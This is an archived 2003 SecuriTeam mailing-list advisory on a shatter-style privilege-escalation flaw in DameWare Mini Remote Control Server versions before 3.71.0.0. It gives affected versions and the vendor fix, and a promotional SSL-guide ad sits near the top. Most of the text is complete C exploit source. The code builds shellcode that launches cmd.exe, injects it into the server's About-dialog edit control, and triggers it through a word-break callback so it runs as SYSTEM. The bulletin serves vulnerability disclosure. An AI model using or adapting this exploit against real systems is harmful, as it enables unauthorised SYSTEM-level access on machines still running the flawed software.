

# [NT] DameWare Mini-RC Shatter (Exploit)

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-08/0039.html>

---

**From:** SecuriTeam (*support\_at\_securiteam.com*)

**Date:** 08/13/03

To: list@securiteam.com

Date: 13 Aug 2003 15:14:44 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Get Thawte's New Step-by-Step SSL Guide for MSIS

In this guide you will find out how to test, purchase, install and use a Thawte Digital Certificate on your MSIS web server. Throughout, best practices for set-up are highlighted to help you ensure efficient ongoing management of your encryption keys and digital certificates. Get your copy of this new guide now: <http://ad.doubleclick.net/clk;5903126;8265119;j>

-----  
DameWare Mini-RC Shatter (Exploit)  
-----

## SUMMARY

<<http://www.dameware.com/download>> DameWare is "a lightweight remote control intended primarily for administrators and help desks for quick and easy deployment without external dependencies and machine reboot". DameWare Mini Remote Control Server runs on the users desktop as SYSTEM. DameWare has been found to be vulnerable to a shatter style attack.

## DETAILS

Vulnerable systems:

\* DameWare Mini Remote Control Server versions prior to 3.71.0.0

Immune systems:

\* DameWare Mini Remote Control Server version 3.71.0.0 and later

Vendor response:

Dameware Development has repaired all current known vulnerabilities.

## Securiteam: [NT] DameWare Mini-RC Shatter (Exploit)

Dameware Development will continue researching and developing alternate development methods to ensure their software remains secure.

A fix is available from Dameware Development by downloading version 3.71.0.0 or later from their website.

Exploit:

```
/*
```

```
Shatter attack exploit for DameWare Mini Remote Control Server  
by ash@felinemenace.org
```

```
see associated advisory
```

```
This code is based on shards.cpp by xenophile
```

```
*/
```

```
#define WIN32_LEAN_AND_MEAN  
#include <windows.h>  
#include <stdio.h>  
#pragma warning(disable: 4305)  
#pragma warning(disable: 4309)  
void MakeShellCode (char *buffer)  
{  
HMODULE hCRT;  
void * IpSystem;  
int count=0;  
  
while (count < 36)  
{  
buffer [count] =0x90;  
count ++;  
}  
  
buffer[37]=0x8B; buffer[38]=0xE5; buffer[39]=0x55;  
buffer[40]=0x8B; buffer[41]=0xEC; buffer[42]=0x33;  
buffer[43]=0xFF; buffer[44]=0x90; buffer[45]=0x57;  
buffer[46]=0x83; buffer[47]=0xEC; buffer[48]=0x04;  
buffer[49]=0xC6; buffer[50]=0x45; buffer[51]=0xF8;  
buffer[52]=0x63; buffer[53]=0xC6; buffer [54]=0x45;  
buffer[55]=0xF9; buffer[56]=0x6D; buffer [57]=0xC6;  
buffer[58]=0x45; buffer[59]=0xFA; buffer[60]=0x64;  
buffer[61]=0xC6; buffer[62]=0x45; buffer[63]=0xFB;  
buffer[64]=0x2E; buffer[65]=0xC6; buffer[66]=0x45;  
buffer[67]=0xFC; buffer[68]=0x65; buffer[69]=0xC6;  
buffer[70]=0x45; buffer[71]=0xFD; buffer [72]=0x78;  
buffer[73]=0xC6; buffer[74]=0x45; buffer [75] =0xFE;  
buffer[76]=0x65;  
  
hCRT = LoadLibrary("msvcrt.dll");  
IpSystem = GetProcAddress( hCRT, "system" );
```

[NT] DameWare Mini-RC Shatter (Exploit)

## Securiteam: [NT] DameWare Mini-RC Shatter (Exploit)

```
buffer[77]=0xB8;
buffer[78]=((char *)&lpSystem) [0];
buffer[79]=((char *)&lpSystem) [1];
buffer[80]=((char *)&lpSystem) [2];
buffer[81]=((char *)&lpSystem) [3];
buffer [82] =0x50; buffer[83]=0x8D; buffer[84]=0x45;
buffer[85]=0xF8; buffer[86]=0x50; buffer[87]=0xFF;
buffer [88]=0x55; buffer[89]=0xF4;
count = 90;
while (count < 291)
{
buffer [count] =0x90;
count ++;
}
buffer[291]=0x24; buffer[292]=0xF1; buffer [293]=0x5D;
buffer[294]=0x01; buffer[295]=0x26; buffer[296]=0xF1;
buffer [297] =0x5D; buffer[298]=0x01; buffer[299]=0x00;
buffer[300]=0x00;
return;
}
void ErrorNotify(DWORD err, char *title)
{
LPVOID lpMsgBuf;
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
err,
MAKELANGID (LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language
(LPTSTR) &lpMsgBuf,
0,
NULL
);

printf("%s\n",lpMsgBuf);

LocalFree( lpMsgBuf );
};
#define SHELLCODE_SIZE (1024 * 256)
#define SHELLCODE_OFFSET (SHELLCODE_SIZE -400)
int main(int argc, char* argv[])
{
HWND hWnd;
HWND hWndChild;
char sc[SHELLCODE_SIZE];
char szWindowName[] = "About DameWare Mini Remote Control Server";
LONG lExecAddress;
sc[0] = 'x'; sc[1] = 'e'; sc[2] = 'n'; sc[3] = '0';
memset( &sc[4], 0x90, SHELLCODE_SIZE -4);
MakeShellCode( &sc[SHELLCODE_OFFSET] );
printf( "\nfm-shatterdame.c\nash@felinemenace.org\n" );
printf("-----\n");
```

## Securiteam: [NT] DameWare Mini-RC Shatter (Exploit)

```
printf("Exploits shatter attack in DameWare Mini Remote Control
Server\n");
printf("This is based on shards.cpp written by xenophile.\n") ;
printf("-----\n");
printf(
"STEP 1: Finding our window!\n"
);

hWnd = FindWindow( NULL, szWindowName );
if( hWnd == NULL)
{

    printf("Couldn't find the dameware about dialogue. Open it and re-run
this\n");
    return 0;
}

hWndChild = FindWindowEx(hWnd, NULL, "Edit", NULL);

if( hWndChild == NULL)
{

printf("\tCouldn't find child edit control window\n");

return 0;
}

SendMessage( hWndChild, EM_SETREADONLY, 0, 0 );

SendMessage( hWndChild, EM_SETLIMITTEXT, SHELLCODE_SIZE, 0L );

if ( ! SendMessage( hWndChild, WM_SETTEXT, 0, (LPARAM)sc ) ) {
ErrorNotify ( GetLastError (), "error");
}
printf(
"\n\nSTEP 2: Enter shell code address. "
"This can be found using a debugger."
);
printf( "\n\nOn my XP SP1 machine 0x160000 worked.\n" );

printf( "\n\nEnter execution address: " );
scanf( "%x", &lExecAddress );

if ( ! SendMessage( hWndChild, EM_SETWORDBREAKPROC, 0L,
(LPARAM)lExecAddress ) ) {
ErrorNotify( GetLastError(), "error" );
}

SendMessage( hWndChild, WM_LBUTTONDOWN, MK_LBUTTON, (LPARAM)0x000a000a
);
```

Securiteam: [NT] DameWare Mini-RC Shatter (Exploit)

```
return 0;  
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:ash@felinemenace.org> ash.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====  
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.